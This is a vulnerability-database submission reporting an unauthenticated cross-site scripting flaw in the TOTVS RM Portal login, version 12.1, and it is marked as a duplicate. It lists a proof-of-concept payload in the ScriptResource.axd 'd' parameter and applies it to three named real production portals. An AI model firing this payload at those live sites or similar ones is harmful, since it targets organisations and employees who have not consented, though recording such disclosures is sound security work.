| Title | RM Portal - Login Versão 12.1.xxx |
|---|
| Description | Fault exists in all versions of the Totvs RM Portal - Login Versão 12.1
Unauthenticated user xss failure.
Derived another failure in another ScriptResource.axd?d=
http•.//totvs.metodista.br/Corpore.Net/ScriptResource.axd?d=<svg/onload=alert``>
https://portalrh.lojaspompeia.com.br/Corpore.Net/ScriptResource.axd?d=<svg/onload=alert``>
It also has other parameters that affect all versions.
https://colaborador.pe.senai.br/Corpore.Net/ScriptResource.axd?d=<svg/onload=alert``> |
|---|
| Source | ⚠️ https://produtos.totvs.com/ficha-tecnica/tudo-sobre-o-totvs-rh-linha-rm/ |
|---|
| User | chor4o (UID 52584) |
|---|
| Submission | 09/27/2023 04:29 (3 years ago) |
|---|
| Moderation | 10/10/2023 09:03 (13 days later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 238573 [TOTVS RM 12.1 Portal d cross site scripting] |
|---|
| Points | 0 |
|---|